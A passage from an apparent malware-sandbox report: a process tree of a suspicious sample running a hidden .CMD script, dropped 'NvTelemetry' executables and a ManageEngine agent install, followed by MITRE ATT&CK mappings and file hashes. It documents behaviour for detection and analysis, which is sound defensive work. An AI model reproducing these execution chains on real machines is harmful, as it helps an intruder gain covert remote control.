    taskkill /f /im cmd.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:3356
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start "" /B cmd /C "C:\Users\Public\Resources\S-1-5-21-2714045687-1127350534-2056456672\S-1-5-21-2714045687-1127350534-2056456672.CMD"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5620
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /C "C:\Users\Public\Resources\S-1-5-21-2714045687-1127350534-2056456672\S-1-5-21-2714045687-1127350534-2056456672.CMD"
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2576
    - - C:\Windows\SysWOW64\tasklist.exe
        
        TASKLIST /FI "IMAGENAME eq rundll32.exe" /FO CSV
        5⤵
        Discovers running processes
        System Location Discovery: System Language Discovery
        
        PID:1888
    - - C:\Windows\SysWOW64\find.exe
        
        FIND /I "rundll32.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:300
    - - C:\Windows\SysWOW64\timeout.exe
        
        TIMEOUT /t 60 /nobreak
        5⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1392

C:\Users\Public\NvTelemetryIjYvDmWkPSVH.pol
C:\Users\Public\NvTelemetryIjYvDmWkPSVH.pol
1⤵
- Executes dropped EXE
PID:4760

C:\Users\Public\NvTelemetryQhdCSpjIfZpNicgs.pol
C:\Users\Public\NvTelemetryQhdCSpjIfZpNicgs.pol
1⤵
- Executes dropped EXE
PID:4372

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2980

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6E95EEF79966D9265C3A4EB637C79825
  2⤵
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5240
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
    3⤵
    - Executes a command shell one-liner
    PID:400
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      PID:964
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1904
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:1320
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "LYALYBJC\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:2300
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
      4⤵
      Modifies file permissions
      PID:4604
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      PID:1304
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      PID:3904
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
    3⤵
    - Executes a command shell one-liner
    PID:1812
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
      4⤵
      PID:3016
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
    3⤵
    PID:5316
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"
    3⤵
    PID:5504
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
    3⤵
    PID:3772

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
PID:4112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

client.p12

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
Size 1KB
SHA256 223153856ae3056fb8a78954012b57353a00a0322eb76d51b28e7e9a8c6b255b
MD5 995ce6a58f19e32b63520e9145fe83e1
SHA1 5a444db72eb63d5c8f8895524b33c0ad8bfe35b8
SHA512 586e29cc97f9d375b96ccf0ec779c18a026663442fb5e3ed3fac9438df0807377cdde40ea35378e38b84a68c04d96f76c46a6a95d9228f582e0e81888ce849f4
TLSH
T1C0216F9BE62E1850F92CDE28195E0E0A64E0C3484FC9219B30F31B6E1C11391794CAC6
MD5 SHA1 SHA512 TLSH

Submit Download

7za.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
Size 839KB
SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
MD5 a5efe54df4f28f6d12adf840dc931b36
SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
TLSH
T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClientAuthHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
Size 3.1MB
SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
MD5 5e3325dc85cc12d8bfee900860aad196
SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
TLSH
T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato-Bold.eot

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
Size 250KB
SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
MD5 a2fb219c999a8fa6b95ad7c24890072e
SHA1 d0a396e49e4a5cca88e454e3463b7b6b4d57cddb
SHA512 aca3eaa61261f2bf3d1da691b2d6e48e70efb139238d7b885559573d325449aff9a21452903553799b47c8bdfefe242b1b29b31225e94871767acdd8257066a2
SSDEEP 6144:7gdw3WS+AcP021JmpP4D5NFhW9FNOj23RHbu6wtAadMYAm/o:7gOm2pgNFhQy29buHt//W
TLSH
T13544123CE5D727C68951C1A34D18A3DE329CF8AE5C56FBA5349AF8BC8CC15130B5EA81
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato-Medium.eot

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
Size 245KB
SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
MD5 cecc32d267ee07ce3413637314b66ca0
SHA1 627b584f88033791f427091fff74c9310bdc2ef1
SHA512 b2f21a38ba5608b4851ee8404abb7ce752388b0b9dfcb24c10f4a1961048ce3d4f811f92b7fb7f2040a1f79243b99760e17ed34c4f0f24a5c2031db47322026e
SSDEEP 6144:SOcdcK8q3U1SniBmXCCCBT6vTy8bV5O+M059N:nOcWEtkCCCBT6Ly8bfM059N
TLSH
T12D341201EAF9036FE595D2CB68056B269517891049B0ECAEE1FF1B3E0CDCEFC46815E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentCryptoHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
Size 480KB
SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
MD5 5fffcb6c5222a8c135284688da03c53a
SHA1 01d0f499a855a787ccb4164460e6d233057062bc
SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
TLSH
T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_binaries.7z

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
Size 30.3MB
SHA256 14c836e431dc0b0c2accd2217dea7bfffaaa3fa97efa9332d1a9c83eebd89125
MD5 26999168590cfd73f5fc962800d34add
SHA1 45734c3709f8c0af9b917fbe1670bb102278c4a6
SHA512 88cfcec821fbaeae62ebe10316ae65fcf784bf6dc10d8009e0b289388adf0a1810f3460175b28f0dac5054555230f2d8b8d6045fd90a376bf996942e4c360b76
SSDEEP 786432:PZK2wN1mVmWY2FyQULbEINZa4avrmh4Jc6gBMlzk8hdLI:PY2wN1C1Y2GcIbaFmijgwQd
TLSH
T18A6733866B6CCCAEC0ACCDF2570683C150B3B7E2ACB9DD2553654572CC6DD6B0D890EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentregister.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
Size 244KB
SHA256 b75ac7d29be086f0dbfa902a06b99b29657a71cf03ae2705995e25d33d2fb5ae
MD5 df9c868eaecc31fae740c242b2683304
SHA1 08751e2c3eab82fd753bb540cdd6ba53ea34aecc
SHA512 b0bc1cc4730981a17aa4e0f94f326992120ccdc08debb25cb20dadaf5361f11294c353168ca61c42512fc2c1e5fc058029cc49f2b3a16de5e998ed933e70ec4f
SSDEEP 3072:9R7kbERpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTA/:9R7kbE5weorw3RrDpfNtnVCXkZrsaw0Z
TLSH
T185348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentservice.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
Size 1.5MB
SHA256 fc77ac12c4a368e1ef20666794a98d3bdbdc39bde9bf4f621bbda6bc5e3efd95
MD5 36135dd1fa1dd9da5a10285bf0ce9e90
SHA1 d0eeb92e9cab38344b8f9fa698de12c12fe78912
SHA512 e9ee3c239d22d4b6af1b96e068e043897490cb97d63fbdf9328c63b76877a2ef294b9fb648f867a6ab9d5e73394ab65dc0df96bb6c676be04bb7335ffe07ea87
SSDEEP 24576:S5vmwOhBD6195hbOx/1V8PtIJ2+2qzg/IPVJq67BnVxlxNyCsPtUt5eKI9yB5B:wJlbq4tIMgc8H1tVDryq8jqB
TLSH
T13875AE1372428031D6A100B15939ABB5AFBDAD681F31C4F3A3C499BDC5E05D2973EB7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcstatusutil.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
Size 1.3MB
SHA256 2793196a739777e279325897df9a0c67e29e62de4bc0e2460bd915d13242208f
MD5 e1813c4b07400391e20b324a5dd249c8
SHA1 e48dc7264920d72a2d60e6176486a03221018a2a
SHA512 65412ea005d2ecc402491171aeadaaacd59e2ea2beb1552867a1af000271aeace694f58cf2ae58e1163672f5ea126b67b0e63d8edccd37afc7c1ace171311abd
SSDEEP 24576:+HKI7BuEEcOfe5ThXgCuw4l2CBwAOVmbnRLKDnBGaUXqUI4PtEOY5EcE:0KI7BnBhRmltVBRKqq3G
TLSH
T11855BF1372428031D1B1C0F19529FB76AB6C9968676284F3A2C4DEBD11E09D26B3FB5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.zip

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\resources.zip
Size 119KB
SHA256 790e4cc4c928b2055f625056e5e98a1ac6059ac54dd30f4126ed01f506b0f23f
MD5 4902b1cadcb92eaa717a922d2815bbcb
SHA1 564be25bf2541881f9ebfb8609654db0385f1798
SHA512 02cf0aac0433c17a7e0aa9561452d32ecd83c19700fc282adec9dd5aa55c6bf10ff37c9176fb004c1ba7aeb25dfa77124b668daa815464aeae54768b115aaa89
SSDEEP 3072:B0nkqDUaOF2LX9P8Oq7EnHPZJUWv9jWHXcxI3GDYK01+x57:BokqoaOFkX9P8T+HxJUlXcxAGDYK01g7
TLSH
T172C312AD87CF104AAC8DD5F22B7AD5D4A896306A334C032C4B05EFD6D5D2F862B8109B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
Size 28KB
SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
MD5 91825b38605d333662195bd3b42c869c
SHA1 44a71532d39b9ddfcfd63914184a9d89f5315973
SHA512 545a8242463dfc52cd814c0cb205bdf181bb5882f12e0711db15fa2461afb99798b6682dc1cc09f33ebe502d13f599c84563931b1cc3167cdfd1fcc76c60e808
SSDEEP 384:02wm20Jj93SYQgw58QTGPyuAO8fv7TrpCEAdNbi1AKhHy9v9fp1Tc1aHz82aEgEV:0PY/P
TLSH
T188D24297991D096F022103889AAF76D3A6FCE434897318FEF8D25914AFD9C4A13737B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
Size 15KB
SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
MD5 cf5799838289c42502297f17ca89b49b
SHA1 fedc0c8cfb1f9776e096511f8adcd0be5309ca8c
SHA512 98eb1c47b5d10093e202c6259ace58d2e7ef4957c20892fbd067eaf0c88baba994337c2f1bd802191a0e31ca2b3fee72508559acf54a4653b8c2544b440f7556
SSDEEP 96:q0SOJbHBAO8bID3O0seObxtEr5r/Qn2sTLnnmI:q0BhBAO8b0Obx9nFLnnmI
TLSH
T19362D593A51D099F0222039999DF7AD3A1BC94384C7328FEF8C259256FDAC1923737B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

configuration-settings-dc-win10.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
Size 247KB
SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
MD5 ff5c89c88fe59a341aa4fe80b6f58215
SHA1 82f86c6bde49bef92565d6f23e79f84bcdc14e20
SHA512 16f1a2208c4c9af43635c676a3e2cad98f8d4fcac0facb91cb3d5b9f5e144c45e42978454783abbadd3f29d3d3d02b9f1a455b0ca0f59cd21bcfeaf3a777a3dd
SSDEEP 768:HtMVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAR:HtMzZZ1uSNABIpkIU1
TLSH
T1584417969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-framework.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
Size 413KB
SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
MD5 a450789f0d23503c895bafaed3d4be27
SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
TLSH
T13694B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-onpremise.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
Size 109KB
SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
MD5 b39316c180a11c7cbefd08019ad9c97d
SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
TLSH
T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
Size 1.6MB
SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
MD5 ac79e017281cd633fb90c06a19a180fc
SHA1 32f8af8ab7c9a9752e7e09b28bba08eb23e8fbd1
SHA512 68e39d64aabf8be54ca43ed34618da249f3869c33822cb09f3c121cad8bf7640b5533c1cc0f77cb5a1a9bd0e8e079339b609fbd29d2a597204b70b01b071ae8c
SSDEEP 49152:pIvq3iwEAiWbHTKRU0YCNDZK+/0KoEDKtKzK5xFKOQFKNoDKlW83wKFC+KFE20:2vqSwEPWbHTKi0YChZK+/0KoEDKtKzKd
TLSH
T1FF75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagent.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
Size 4.6MB
SHA256 b1ff95d7d62fc8d0d51d63dcd9f2f86bd4f077d57a5e02ba016cf4343d945453
MD5 0c796eaf7a85429f695e6a27e6706800
SHA1 1e2261134f5fd6ba0738d16a27685092cc810e0e
SHA512 f6b96440d6d2d1031ec95499591a2580d4c87d8dc03922436fed20e2293c7e5c1e5be1ed548962ab1b1e29619ca3078356459629381ff4a515b3450b116dd5d2
SSDEEP 98304:LlZqIPjmcbAlc1M9xWNPFt/7KF2f3YhAnxBQ:L/qIPNAlxjmTKEf3Y6xBQ
TLSH
T12836CF13BA43D070D9DE02B815BA9B7B5E3D89158B3084E3ABD028BD88B51D1673F76D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato.woff

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
Size 36KB
SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
MD5 171937a8fad6a1c8a37344d09d4fc20c
SHA1 834ef4f8bdf16e94383272f7024070cebc002cfe
SHA512 c65909a920b6de0b19e083bab695e8e2dc812c143910ee1e0e69e7141a85e9fae0b2332795d52957aba5829609cd66bcbd4045eddde4df98c0a20c306a64aa3c
SSDEEP 768:2vevzUxNXpUN3RRTe5fF7leCB8EumP7M+e265Cz7NIpYIOi+SLyyS:2vevKNZUtRRfCBXF2HCHmpY3i3OL
TLSH
T10303E1795E45653DC4B283B7A1D8E3AF340F0A087A50653C13A3C36D6ABC7083F529EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcmsghandler.ico

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico
Size 14KB
SHA256 2d92583e576b380e3d8246a5bdced4a205860d49d9ef66e4acde5007caefac24
MD5 3f93e0ea97079b1f5b356166db334740
SHA1 ea3022d31459c8904df1e8f406741960fe9ce653
SHA512 24584bb387c1981ac08f4266f7312444ee922486f1d20a3d9f655df09048e347c8c2df8be64e3ec99b8d603e4e088296a2abb3e68fc2e85eb5431efba3971c36
SSDEEP 384:1w////ncRy/wUwRRR0RRZRXUuPPPPPP3opSLhRRwyRRWFRRyRDRRjRRRRRKRRRR+:5C
TLSH
T182624886C4054ACDCADA9B33C6EE56BF8A9508B88007504503FC3DF5EB53B19FE6A14E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drop_down_icon.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
Size 449B
SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
MD5 60bd20b51eb0483e93aa6f4cb0a84288
SHA1 35ef5eed1eb03f4c5ce8b6314d5457fd6984d7a4
SHA512 f359e72fc17bebaeaf7ac520667f300213fa1c10775a6fee1d0af05573a610bbbb2dc7050644ddb5610c05873adbfb90042d8d3694c3038792127c982c77425f
TLSH
T1C3F023062DA90252D34DA62704FC8022DE9B89045AC0381CBB07DC7D2F4059555C9BDF
MD5 SHA1 SHA512 TLSH

Submit Download

info.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
Size 2KB
SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
MD5 d4893659007e98de701a47cd39991be3
SHA1 536c49e5da960171320d4df6c9e6b573bdf2d030
SHA512 6d1812768eaae453512e4b47f190ea7ecc4bd5a535bd9f5c168e770f1c88291a74f95947199be8468127e7756260c94e28b6430556da65170537c384cba0bc29
TLSH
T1EF41A58272C4BFFD10035713B01FF395161AE902CEADF6D32135B6A4AC11614436687B
MD5 SHA1 SHA512 TLSH

Submit Download

minimize_icon.svg

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg
Size 161B
SHA256 08615c639994bf55e78c4dc10bf2b69a505cc1f1e3802f21a809a434daf651fe
MD5 10006715631c28cd1cca4302987b6371
SHA1 6a69a91b69b7cf310bbb4295496d3314211de6f9
SHA512 6c43259b84e93b7ed9d6a7202fde26482b934bc8fc67f6963e55788a8cbb08116535b266c07821bb2835058102baf3831d838fff00efc84e9cbc57fd881cc0e5
TLSH
T19DC08C26C2ACCB594322C6B0AA28A220946E4092A884D0A595E34B245173872FD8D8DA
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 3KB
SHA256 40663e5ac405dd35057102de744d472c1c6d2981651695950760393ced9c9d15
MD5 754df9f23890967c341207cee06381c7
SHA1 79bce23a4ed1c6c74982fef87f1751882f28aae5
SHA512 1afcb6f48faa727196449451719f8aae47f5cb938a8f1d6e52e13fc9922f46bcc37394574bfc8ff20a47904b0584c94b4d072601eb4d985fcc99a791a5ca304d
TLSH
T15E71C7977DBDC9891F06A72B3BE0FC4054411206619F88D237AE146E9793B07F7AA4EC
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 4KB
SHA256 89810cd79fc0053f19ea3267c6d8331b26e6c06fd566cf5b4d0d85e0322240b6
MD5 b1f6fae965e4efe2d5373e1a5e9070d8
SHA1 bab051ef8f6b65634e11a9cb26313812ffdb7c43
SHA512 6bcda60ea05698efab3153c6dad9eaa24e33fc7ab3d159a1b7fc838ffc7d766a12828d0565d73a64c7e1f14394ca296cb4815f1167d3410272b7efe98f9e7889
SSDEEP 96:eY0ItFXLXAXVG/EX/X+ajiX/X+UX/X+UX/X+EXuX7uXY:90ItFXLXAXtX/XUX/XrX/XrX/X7XuXqo
TLSH
T16891F7977DBEC9891F06662B3BE0FC4054411246618F88E237AE146E9793B07F7A64EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentinstaller.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log
Size 11KB
SHA256 363b2be6dde31420f296ad350b5c7f13728c37ae3bc59ed94407f205e2c7ca9f
MD5 1a2fc2f2f323b2347a261a05ed09a14b
SHA1 e1bbfd9bc3675f3eb01a73028a6e74a285c7ff92
SHA512 3c0d473510448dde816c79be0f560e0448c69f7c11870f2c0d2bf15acb4b7e74a068b81ee890ba351d33d36c3e0261dbb9512822be5a7f40f7f5734742659a0e
SSDEEP 96:Nb+ZL7hrSlUNYF0Gbckb1pWOGF0G5l3EJlvMp5jCreG06ed6bdEEA:FGL7hrSlU6F5481pgF55BQvOjEHY
TLSH
T11932AF123BF4E494576546C49E882B8F2ECB3A1D0653BF9177A93889E379C0F0EDE164
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcrotatelog.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
Size 1KB
SHA256 f94d953b1dd39e0e1478e4d20a5ac6ea8a53d346889f84eead80abadc9c99879
MD5 014442e9e31b5d854560a8fcb48d431e
SHA1 a5aa78eae0e60d324477cbc760dc569d73ce87d3
SHA512 f0ae3088913311ace216a56f66c320a510086cf4b114d4e42bf9634fa56ac78fe87ac32562c7f3bea0f1753eb17b33220568cb9ebeaa6b8bd333ddd2273890cd
TLSH
T15E314B9036BCA1E1376A49805E0D3F9B298A7D564116EF1033EABCD5E3ADC1B1EED024
MD5 SHA1 SHA512 TLSH

Submit Download

setAppPermission_Internal.bat

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat
Size 957B
SHA256 8b78e103d656d873fa2a5377dbef7fd92877005dad78fd3521556158453d8ab9
MD5 e300d6f5c088aee55f0b91f4efc72035
SHA1 97d081d6ea84780f8f556cc6dde8dadd10f09e63
SHA512 366f99f7c3387c5b45daf7d3875ddc246ed00d49bb846b5e21dcf3208b910a65d56cce5a211e13a8f10c698d44b4a814069b6ca06fb28a8614dbfdaf952bdea2
TLSH
T14611DC1EF610053C09AE7AD47BB00D66BA29E0E770151A5E3E06135DDF84A80BFB53DB
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA-Server.crt

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA-Server.crt
Size 1KB
SHA256 4147d6ae97c3d774954d14234201c3c3ec8db67b8c70f71fd60cc3dda5d4cee4
MD5 e46b3387fd03ae5b63ee185875cc721d
SHA1 6d5c00a79fae5a5d20708e8aa88c2ecc8413260d
SHA512 081af205cc5c3a538042adccdb3eb2cabc6982590a50571be04410ccfb79c8a62f3caceef561257b84bdb99b58e5c953df1a7d333614cd9329d4f376ede580a5
TLSH
T11221E6C82AA12C1770E3C798E53A111F58416F3D2CEFF5B800B92F4269935E146B6BC8
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA.crt

